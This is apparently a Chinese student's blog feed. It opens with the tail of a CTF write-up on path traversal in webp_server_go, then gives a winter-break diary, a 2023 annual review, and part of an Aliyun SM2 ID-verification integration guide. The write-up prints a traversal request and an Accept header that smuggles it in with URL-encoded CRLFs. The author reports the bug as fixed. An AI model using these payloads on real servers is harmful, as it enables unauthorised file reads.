CVE-2021-46104 并没有完全修好，我们只需构造如下的畸形 HTTP 报文，就可以穿越到根目录读取 Flag。</p><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">../../flag.png</span> <span class="hljs-meta">HTTP/1.1</span></code></pre><p>现在只剩下最后一个问题，如何把这个报文发给后端的 <a href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 呢？仔细观察前端的 <code>/pics/&lt;string:path&gt;</code> 路由，发现传给 <code>fetch_converted_image()</code> 方法的 <code>accept</code> 参数取的是 URL 解码后的 <code>Accept</code> 请求头，在 <code>fetch_converted_image()</code> 方法中直接拼接到了 HTTP 报文中。由此，我们可以实现 HTTP 请求走私，通过插入 URL 编码后的 <code>\r\n\r\n</code> 将一段 HTTP 报文截断为两段连续的 HTTP 报文，后一段 HTTP 报文是完全可控的，<code>fetch_converted_image()</code> 方法最终返回的也恰好是最后一段报文的响应体。于是，可以构造如下的 <code>Accept</code> 请求头实现我们的目标。</p><pre><code class="hljs http"><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>image/webp%0d%0a%0d%0aGET ../../flag.png HTTP/1.1</code></pre><p>所以最终的完整流程是，先随意上传一张图片，访问该图片并抓取 HTTP 报文，按上述方法修改 <code>Accept</code> 请求头，发送请求获取 Flag。</p><p>最后说说这个漏洞为什么鸡肋。首先畸形的 HTTP 报文必须直接发送给 <a href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a>，一旦中间有 Nginx 之类的反向代理对 URI 做了检查就无法利用了，这也就是为什么本题要将其和 HTTP 请求走私结合；其次该漏洞只能读取图片文件，因为 <a href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 会把读到的文件喂给 VIPS 处理，读到的文件只要不是合法的图片 VIPS 就会报错，攻击者无法得到文件内容，这也是本题 Flag 是图片的原因；最后攻击者还需要有图片的路径这一先验知识，否则很难读到有效的图片。</p><p>收完 Writeup 后已经将该漏洞报告给开发者，已于 0.11.3 版本中修复。</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>这次我出的 4 道题的预期难度是简单、中等、困难、困难（按本文顺序）。GEEKCTF 的解题情况基本符合预期，Secrets 做出来的人意外地还挺多。SJTU-CTF 的解题情况则有点出乎意料，基本没什么人做 Web，完全没有像去年一样的盛况。从 SJTU-CTF 回收的问卷情况来看，有较多选手反映 Web 题目难度梯度不合理（虽然 Web 方向至少有 3 道出题人认为是简单的题目），然而某位几乎 AK Web 的巨佬又反馈 Web 题“一直做一直爽”、偏 MISC、没什么新东西，感觉难度梯度确实还挺难把握的，出那种既有意思又新手友好的题目好难啊TAT。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;去年还是选手，今年变成出题人了（&lt;/p&gt;
&lt;p&gt;这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题：YAJF、Secrets、SafeBlog2、PicBed，赛后决定在博客上公开一下出题人的部分 Writeup 供参考。&lt;/p&gt;</summary>
    
    
    
    <category term="水" scheme="https://blog.hans362.cn/categories/%E6%B0%B4/"/>
    
    
    <category term="Web" scheme="https://blog.hans362.cn/tags/Web/"/>
    
    <category term="网络安全" scheme="https://blog.hans362.cn/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    <category term="CTF" scheme="https://blog.hans362.cn/tags/CTF/"/>
    
    <category term="Writeup" scheme="https://blog.hans362.cn/tags/Writeup/"/>
    
    <category term="解题报告" scheme="https://blog.hans362.cn/tags/%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/"/>
    
  </entry>
  
  <entry>
    <title>周记#31</title>
    <link href="https://blog.hans362.cn/post/weekly-31/"/>
    <id>https://blog.hans362.cn/post/weekly-31/</id>
    <published>2024-02-23T11:56:13.000Z</published>
    <updated>2025-12-31T14:36:17.830Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>好久不见，各位新春快乐呀！🧨</p><p>五周的寒假转眼就过去了，前不久还沉浸在过年的喜悦中，现在已经在学校坐牢一周了（谁家好人学校正月初九开学啊，我还没玩够呢😡😭）</p><p>那就来一篇终极寒假生活流水账罢（</p><span id="more"></span><h2 id="期末周"><a class="markdownIt-Anchor" href="#期末周"></a> 期末周</h2><p>放寒假之前自然是痛苦的考试周。虽说上个学期只有4门课要考试，但其中不乏大雾、电子工程数理方法这种硬核的课程，再加上转专业之后数理方法变成了计划外的交叉课程就没好好听过，真怕最后挂科了前功尽弃，所以还是开启了紧张刺激的补天模式。</p><p>好在最后全部顺利通过了，甚至原本只求及格的数理方法用力过猛拿了90+，早知道就多花点时间复习概统和大雾了呜呜呜。</p><p>考完最后一门当晚就和室友出去搓了一顿烤肉庆祝一下😋，顺便欢送其中一位即将出国交换的室友，再见就是九月份啦。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/18/519a6d00996e376b9698295b7e3aa840.jpg?height=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/18/519a6d00996e376b9698295b7e3aa840.jpg?height=1920" srcset="/loading.gif" alt=""></p><h2 id="驾考"><a class="markdownIt-Anchor" href="#驾考"></a> 驾考</h2><p>放寒假后在学校又待了一周，去旁边驾校继续学车。科三练了四天就匆匆去考试，运气还很差，抽到了最难开的一条线，没想到竟然一把过了。等有空把科四理论考掉就可以拿证咯，嘿嘿又一个新年目标即将达成。</p><h2 id="哈尔滨之行"><a class="markdownIt-Anchor" href="#哈尔滨之行"></a> 哈尔滨之行</h2><p>年前去了一趟当时很火的城市——哈尔滨，也是第一次在大冬天去这么北的地方。作为南方人完全无法想象零下二十几度是什么概念，为防止下飞机被冻成冰棍，在机场我就已经全副武装，有点小热。后来发现落地后直接靠廊桥了，机场还专门设置了非常多的更衣室，可以到达之后再换衣服。</p><p>执飞的是一架机龄16年的A330-300，这么老的飞机竟然还安装了空中 WiFi。从上海飞哈尔滨大概需要3小时，明明是中午的航班却没有正餐，只发了个小面包。进入东北上空后，从空中看地面都是白茫茫的一片，非常壮观🤩。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/19/eb24fa53e0319a1d66b2a02230aaad59.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/eb24fa53e0319a1d66b2a02230aaad59.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2024/02/19/8a5dfd5cc61a1f60e3ae3ad8bc6bad00.jpg?height=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/8a5dfd5cc61a1f60e3ae3ad8bc6bad00.jpg?height=1920" srcset="/loading.gif" alt=""></p><p>落地后一出机场眼镜就全是雾完全看不见，因为穿得足够厚感觉没有想象中那么冷，就是鼻子有种要结冰的感觉。在车上看到了路边的冰雕，晶莹剔透的非常漂亮。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/19/45559330f687bbc47d2cf963ab8450aa.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/45559330f687bbc47d2cf963ab8450aa.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>人行道上铺满了积雪，踩在上面嘎吱嘎吱的非常有趣，不过要小心混入其中的冰，一不留神踩上去就会滑倒摔得很惨。到酒店已经快下午两点了，去附近的 KFC 解决一顿午饭，东北室内的暖气还是非常给力的，暖气配冰可乐欸嘿嘿。</p><p>这次来哈尔滨是去 HIT 参加活动，上课+参观+比赛，安排得非常充实。话不多说直接上图吧。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/19/60df52e4b6dc98d9d935a4379f61b7b5.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/60df52e4b6dc98d9d935a4379f61b7b5.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2024/02/20/5d128ca3e31f8a823966f9fdad2653e4.jpg?height=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/20/5d128ca3e31f8a823966f9fdad2653e4.jpg?height=1920" srcset="/loading.gif" alt=""></p><p>（哈尔滨的地铁站，造型非常有特色）</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/19/3c881252b305daa35cb287601274d887.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/3c881252b305daa35cb287601274d887.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（必不可少的环节hhh）</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/19/aff91e9b02e19b625c292f0b12e63c7e.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/aff91e9b02e19b625c292f0b12e63c7e.jpg" srcset="/loading.gif" alt=""></p><p>（HIT 校园，路两旁都是白雪，想捏个雪球结果发现太松散了团不起来）</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/19/e41c40e7087c460d611791acb676dcb7.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/e41c40e7087c460d611791acb676dcb7.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（索菲亚大教堂，周围的铁栏杆<s>据说是甜的</s>别舔）</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/19/db244b421df1adbb95094d96859efcd7.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/db244b421df1adbb95094d96859efcd7.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2024/02/19/19d28cc9027ffbcba07724052e6c4aaa.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/19d28cc9027ffbcba07724052e6c4aaa.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（中央大街，快过年了各种彩灯装饰得非常漂亮）</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/19/6e3d6aa8ffea11394c99563c58af5564.jpg?height=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/19/6e3d6aa8ffea11394c99563c58af5564.jpg?height=1920" srcset="/loading.gif" alt=""></p><p>（最不怕雪糕融化的一集🤤，从第一口到最后一口都是梆梆硬）</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/21/cb1c6dcbcde3eaeea6d4e042c969374c.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/21/cb1c6dcbcde3eaeea6d4e042c969374c.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（各种冰雕雪雕🧊⛄）</p><p>总之感谢 HIT 的热情招待，这几天吃好住好玩好学好，非常充实愉快的一次经历。</p><p>（对了，HIT 什么时候修一修你的 <a href="https://www.eduroam.edu.cn/">Eduroam</a> 啊，连上了没有 DHCP 分配 IP 地址也太草了😂）</p><h2 id="过年"><a class="markdownIt-Anchor" href="#过年"></a> 过年</h2><p>从哈尔滨回来以后在家宅了两周就过年了，假期也接近尾声。今年春节总算是彻底摆脱了疫情的影响，在上海过完除夕后和爸妈回了一趟福建。春节期间老家的天气特别好，天天都是阳光明媚，气温二十几度，很暖和。</p><p>回到老家就是见各种亲戚，又到了聊天完全听不懂方言需要我妈翻译的时候了。然后就是吃吃吃🐖，老家好多美食在上海根本吃不到哇🤤。除此之外还去了这边的几个景点逛了逛，主要是一些寺庙、新农村还有历史文化街区啥的，现在都发展得挺不错的，下面是一些有意思的发现。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/21/3dce71e5d0fa7dff285a60a36f56eb71.jpg?height=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/21/3dce71e5d0fa7dff285a60a36f56eb71.jpg?height=1920" srcset="/loading.gif" alt=""></p><p>（寺庙也要i18n，不过哪里出现了什么问题🤣）</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/21/f6fbcaa36a4ec5386b2ed56d2c29adef.jpg?height=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/21/f6fbcaa36a4ec5386b2ed56d2c29adef.jpg?height=1920" srcset="/loading.gif" alt=""></p><p>（某个卖捏面人的小摊，嗯）</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/21/8ecc6656a8ca7c30990eb1441f173662.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/21/8ecc6656a8ca7c30990eb1441f173662.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（路上看到一家碰瓷 Fornet 的洗衣店🤣）</p><p>值得一提的是，老家这十八线小城市的公交车竟然也已经支持了交通联合，直接刷手机里的「上海交通卡·交通联合版」就可以扣款乘车了，虽然读卡器上显示的余额完全不对（好多城市也有类似的现象），不过无伤大雅。结合之前几次在别的地方的使用体验来看，交通联合可以说是推进得相当不错，给交通运输部点赞👍。</p><p>在老家待到初七就匆匆回上海了，爸妈要上班，我也要准备开学了。</p><h2 id="新学期"><a class="markdownIt-Anchor" href="#新学期"></a> 新学期</h2><p>2月17日回到学校<s>开始坐牢</s>。这天室友还没回来，我一个人在寝室住着，结果凌晨三点被宿舍火警强行开机。半梦半醒间隐隐约约听到一个机械女声“现在报告本大厦内有火灾发生，……”，重复了几次后我猛地惊醒，然后体会到了什么叫做大脑宕机，脑子一片空白甚至没反应过来自己在哪。过了好一会儿我才意识到自己在学校宿舍，是火警在响，于是赶紧匆匆下床跑到楼下。好在最后排查下来虚惊一场，就是毁了我早八生活开始前的最后一个好觉😾。</p><p>这学期又是每周4天早八，一共14门课程28.5学分，有9门课要考试，而且有几门比较抽象硬核的课（近世代数、信号与系统、量子力学等），已经能够想象到期末周的绝望了，又要重温大一下学期的地狱模式力😇。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/02/21/f52be4d9f279d26a7e74d55c7aa85b09.jpg?height=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/02/21/f52be4d9f279d26a7e74d55c7aa85b09.jpg?height=1920" srcset="/loading.gif" alt=""></p><p>总之第一周5天下来感觉身心俱疲😮‍💨，希望能顺顺利利熬过这学期吧，加油！</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;好久不见，各位新春快乐呀！🧨&lt;/p&gt;
&lt;p&gt;五周的寒假转眼就过去了，前不久还沉浸在过年的喜悦中，现在已经在学校坐牢一周了（谁家好人学校正月初九开学啊，我还没玩够呢😡😭）&lt;/p&gt;
&lt;p&gt;那就来一篇终极寒假生活流水账罢（&lt;/p&gt;</summary>
    
    
    
    <category term="周记" scheme="https://blog.hans362.cn/categories/%E5%91%A8%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>2023年终总结</title>
    <link href="https://blog.hans362.cn/post/2023-annual-report/"/>
    <id>https://blog.hans362.cn/post/2023-annual-report/</id>
    <published>2023-12-31T15:59:59.000Z</published>
    <updated>2025-12-31T14:36:17.814Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>草草草怎么一年就过去了，又到了<s>痛苦的期末周</s>一年一度的年终总结时刻，于是我在紧张刺激的期末跨年<s>预习</s>复习活动中匆匆写完了这篇文章，快来回顾一下这<s>一事无成</s>的一年罢（）</p><span id="more"></span><h2 id="回顾-2023"><a class="markdownIt-Anchor" href="#回顾-2023"></a> 回顾 2023</h2><p>今年应该说是真正意义上疫情结束后的第一年，各类管控措施总算是消失了，生活也终于回归了正轨，一切都在慢慢变好。</p><h3 id="学习"><a class="markdownIt-Anchor" href="#学习"></a> 学习</h3><p>在 SJTU 不知不觉就混到了大二，经过了一些金课的洗礼😇，<s>还活着就已经很棒了</s>。进入大学一年算是找到了适合自己的学习方法，给自己定的唯一要求就是别挂科，毕竟大学不只有学习啊，拼命刷题卷学积分啥的没意义。</p><p>今年的意外收获是顺利从信工叛逃，即将转入更感兴趣的信安专业（只要这学期没有挂科），也算是实现了高考未能达成的目标。</p><h3 id="技术"><a class="markdownIt-Anchor" href="#技术"></a> 技术</h3><p>今年的技能树全点在了信安上。事情还要从3月的 CTF 校赛说起，大概是我打过的最值的一次比赛了，除了拿奖之外，还认识了不少大佬和新朋友，也发现了自己对安全方向的兴趣，正式入坑 CTF。进校队以后打过几次 CTF 线上赛，参加过一些 HW 和代码审计，学到了很多有意思的东西，积累了一点实战经验，收获满满。</p><p>今年的 GitHub 小绿墙干干净净，之前维护过的一些开源项目也都弃坑了，是在开源社区彻底开摆的一年，希望明年能更绿一点（</p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/30/50e977918039021421adee1becf4aae9.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/30/50e977918039021421adee1becf4aae9.png" srcset="/loading.gif" alt=""></p><p>年度编程语言大概是 Python（虽然也没严谨统计过），毕竟打 CTF/日站写 PoC 都用的是它，甚至写 Web 项目也是，学习了 Django 框架发现还挺好用的，特别适合快速起步。</p><h3 id="博客"><a class="markdownIt-Anchor" href="#博客"></a> 博客</h3><p>不知不觉博客已经6周年啦，来看看今年的统计数据吧！在去年7月抛弃了臃肿的 Google Analytics 投入 <a href="https://github.com/umami-software/umami">Umami</a> 的怀抱，所以今年的数据是完整的哦。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/31/c8c2e91d566ab4b10de49c93159fafc0.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/31/c8c2e91d566ab4b10de49c93159fafc0.png" srcset="/loading.gif" alt=""></p><p>今年 Hans362 's Blog 收获2.28k 位独立访客4.77k 次访问，平均访问时间1m2s。</p><p>访客们都喜欢用什么浏览器/OS/设备呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2023/12/31/4edbc05cb786e31f8f1de153145c3b26.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/31/4edbc05cb786e31f8f1de153145c3b26.png" srcset="/loading.gif" alt=""></p><p>排名第一的是 Chrome + Windows 10/11 + 笔记本，和我一样耶（该不会都是我贡献的吧hhhh）。</p></details><p>访客们都来自哪些国家/<strong>地区</strong><s>用哪里的魔法节点</s>呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2023/12/31/bb53f792d0c4db2be986056a752a2a08.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/31/bb53f792d0c4db2be986056a752a2a08.png" srcset="/loading.gif" alt=""></p></details><p>今年发布了4篇文章，数量较往年骤减，博客都长草了，明年一定要多写点！要是还有你没读过的，不妨去看看。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/31/17044aff149002f945ce29994e2b705e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/31/17044aff149002f945ce29994e2b705e.png" srcset="/loading.gif" alt=""></p><p>今年点击量排名前5的文章又是哪几篇呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2023/12/31/ddda4d4e6335e6f2a72fa9788eb277cd.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/31/ddda4d4e6335e6f2a72fa9788eb277cd.png" srcset="/loading.gif" alt=""></p><p>看来还是技术向的文章比较吸引人啊。</p></details><p>今年博客新增6条有效评论，感谢每一位前来互动的朋友🥰。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/31/27bde8d501f4eee6fed442ac06b60e37.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/31/27bde8d501f4eee6fed442ac06b60e37.png" srcset="/loading.gif" alt=""></p><h3 id="游戏"><a class="markdownIt-Anchor" href="#游戏"></a> 游戏</h3><p>上半年玩得最多的还是原神，暑假的时候社团的全新原版生存服 <a href="https://mc.sjtu.cn/wiki/SJMC_SMP_2">SJMC SMP 2</a>开了，于是作为老年人浅浅地复健了一下，重温了当年玩 Minecraft 的快乐。</p><p><a href="https://mc.sjtu.cn/wiki/SJMC_SMP_2"><img src="https://hans362-img.oss.0vv0.top/2023/12/31/09f2b3925411d4f3674297a84795e5d7.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/31/09f2b3925411d4f3674297a84795e5d7.png" srcset="/loading.gif" alt=""></a></p><p>下半年随着各种事情忙起来，Minecraft 被我丢在一边，原神也好几个月没碰算是半退游了（肝不动力，连主线都懒得推），感觉有点电子阳痿了（bushi），即使有点时间也不是很想花在游戏上。</p><h3 id="音乐"><a class="markdownIt-Anchor" href="#音乐"></a> 音乐</h3><p>来看看今年的听歌报告吧！</p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/30/37a431f7259da39fc6dccdbb7a81d48d.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/30/37a431f7259da39fc6dccdbb7a81d48d.jpg" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/12/30/21705a4c002a415d6da994794eaeb4ad.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/30/21705a4c002a415d6da994794eaeb4ad.jpg" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/12/30/eea5f283869f5b14f2ecd47f359ced58.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/30/eea5f283869f5b14f2ecd47f359ced58.jpg" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/12/30/dbc55d6b1ada5d229d996430fb9dd13c.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/30/dbc55d6b1ada5d229d996430fb9dd13c.jpg" srcset="/loading.gif" alt=""></p><p>欸嘿，终于不是 OST 播放器了，今年的年度歌手是 ChiliChill，最开始是听原神二创作品认识的，后来发现他们自己的一些作品也很好听，就一发不可收拾了。</p><h2 id="展望-2024"><a class="markdownIt-Anchor" href="#展望-2024"></a> 展望 2024</h2><p>时间过得真快呀，明年就要告别19岁，进入20岁的大门了，希望2024年：</p><ul><li>顺利通过所有考试（期末周的大学牲是这样滴）</li><li>拿到驾照（今年拖拖拖到现在才考过科目二）</li><li>去更多的地方玩玩玩（<a href="https://lab.magiconch.com/china-ex/">中国制霸模拟器</a>补完计划）</li><li>多运动（今年颓废了一年，除了上体育课就没咋动过）</li><li>保持博客更新，经常来除除草</li><li>在成为<s>大黑客</s>的路上更进一步</li><li>身体健康，平安快乐</li></ul><p>最后感谢读到这的你，祝你新年快乐🥳，2024年一切顺利！</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;草草草怎么一年就过去了，又到了&lt;s&gt;痛苦的期末周&lt;/s&gt;一年一度的年终总结时刻，于是我在紧张刺激的期末跨年&lt;s&gt;预习&lt;/s&gt;复习活动中匆匆写完了这篇文章，快来回顾一下这&lt;s&gt;一事无成&lt;/s&gt;的一年罢（）&lt;/p&gt;</summary>
    
    
    
    <category term="杂文" scheme="https://blog.hans362.cn/categories/%E6%9D%82%E6%96%87/"/>
    
    
    <category term="年终总结" scheme="https://blog.hans362.cn/tags/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/"/>
    
  </entry>
  
  <entry>
    <title>阿里云金融级实人认证接入踩坑记</title>
    <link href="https://blog.hans362.cn/post/aliyun-financial-grade-id-verification/"/>
    <id>https://blog.hans362.cn/post/aliyun-financial-grade-id-verification/</id>
    <published>2023-12-02T09:32:00.000Z</published>
    <updated>2025-12-31T14:36:17.815Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>最近需要给一个基于 Django 的项目开发实名认证功能，除了常规的核验姓名和身份证号是否匹配，还需要对用户进行活体检测。看了一圈最后选定了阿里云的<a href="https://help.aliyun.com/zh/id-verification/product-overview/financial-level-real-person-certification">金融级实人认证</a>产品，可以直接让用户使用支付宝APP完成活体检测的认证过程，开发工作量相对较小，对用户而言也比较方便（毕竟这年头谁手机上还没个支付宝呢）。</p><p>开通金融级实人认证后，我开始照着阿里云提供的<a href="https://help.aliyun.com/zh/id-verification/financial-grade-id-verification/integration-by-using-the-sdk">开发参考文档</a>尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档，开发花费的时间比我想象中要多😇，在此也记录一下我踩过的坑，希望能够帮助到后来者。</p><span id="more"></span><h2 id="tldr"><a class="markdownIt-Anchor" href="#tldr"></a> TL;DR</h2><ul><li>阿里云文档中的 Python SDK 版本过时，需要手动指定版本号</li><li>阿里云文档中提供的国密 SM2公钥为压缩格式，需要先还原完整公钥</li><li>阿里云使用 C1C2C3模式，而非现行标准的 C1C3C2模式</li><li>须确保加密结果的第一个字节为 <code>\x04</code>，否则须手动补充</li></ul><h2 id="过时的-sdk-版本"><a class="markdownIt-Anchor" href="#过时的-sdk-版本"></a> 过时的 SDK 版本</h2><p>因为项目是基于 Django 框架开发的，所以我参考了文档中 Python SDK 的部分。按文档所说，我首先通过 <code>pip install aliyun-python-sdk-saf</code> 安装了云产品SAF SDK，接着在项目中引入 SDK 包时却出现了问题。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/01/e58476620b6db44fd4f6d75846efb4c7.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/01/e58476620b6db44fd4f6d75846efb4c7.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/01/0da7caca43f25b7cb02fe195626a6300.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/01/0da7caca43f25b7cb02fe195626a6300.png" srcset="/loading.gif" alt=""></p><p>怀疑八成是文档没及时更新，看了眼包安装目录下的文件结构，果然最新版本都已经 <code>v20190521</code> 了，改一下版本号就解决了问题。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/01/2f4a29a91074aa58c0d77a21240504f0.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/01/2f4a29a91074aa58c0d77a21240504f0.png" srcset="/loading.gif" alt=""></p><p>同时最好在 <code>requirements.txt</code> 中锁版本，以免以后哪次 <code>pip install</code> 时更新了 SDK 导致又出现问题。</p><h2 id="加密传参全靠猜"><a class="markdownIt-Anchor" href="#加密传参全靠猜"></a> 加密传参全靠猜</h2><p>由于项目的合规要求，数据库不能留存用户的身份证号明文或可解密的密文，而阿里云的金融级实人认证接口刚好支持非对称加密传参，因此可以将用户输入的身份证号使用阿里云提供的公钥进行非对称加密，然后存储在数据库中（由于私钥由阿里云保管，即使数据库发生数据泄露也无法解开），发起认证请求时直接将密文传递给阿里云。</p><p>然而文档中关于加密方式的约定含糊其辞，只提到了加密方式为国密 SM2，给出了一个公钥，并提供了一段 Java 语言下的调包例程。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/12/01/ca962256b7e79f2a35f78e68aef5dcba.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/12/01/ca962256b7e79f2a35f78e68aef5dcba.png" srcset="/loading.gif" alt=""></p><p>好在 Python 这边也已经有<a href="https://github.com/duanhongyi/gmssl">现成的国密加密包</a>了，我天真地以为调用一下包里的加密函数就行了，于是我一开始是这么写的：</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<span class="hljs-keyword">from</span> gmssl <span class="hljs-keyword">import</span> sm2sm2_crypt = sm2.CryptSM2(public_key=<span class="hljs-string">'02cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea6'</span>, private_key=<span class="hljs-string">''</span>, mode=<span class="hljs-number">1</span>)idcard_encrypted = base64.b64encode(sm2_crypt.encrypt(idcard.encode(<span class="hljs-string">'utf-8'</span>))).decode(<span class="hljs-string">'utf-8'</span>)</code></pre><p>结果呢，还没到给阿里云传参这一步，光是加密就报错了：</p><pre><code class="hljs vim">TypeError: object of <span class="hljs-built_in">type</span> <span class="hljs-string">'NoneType'</span> <span class="hljs-built_in">has</span> <span class="hljs-keyword">no</span> <span class="hljs-built_in">len</span>()</code></pre><p>翻了翻 Issues 才知道存在公钥压缩这回事。根据现行 <a href="https://openstd.samr.gov.cn/bzgk/gb/newGbInfo?hcno=2127A9F19CB5D7F20D17D334ECA63EE5">GB/T 35276-2017</a> 7.1节的定义，SM2算法公钥内容为 <code>04||X||Y</code>，其中 X 和 Y 分别标识公钥的 x 分量和 y 分量，其长度各为256位。阿里云提供的公钥既不以 <code>04</code> 开头，长度也不满足规范，显然是经过压缩的，需要先还原完整公钥。可以使用<a href="https://const.net.cn/tool/sm2/sm2-pubkey-decompress/">这个小工具</a>进行还原，也可以研究一下压缩的原理然后自己造个轮子，当然我懒所以选择前者。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<span class="hljs-keyword">from</span> gmssl <span 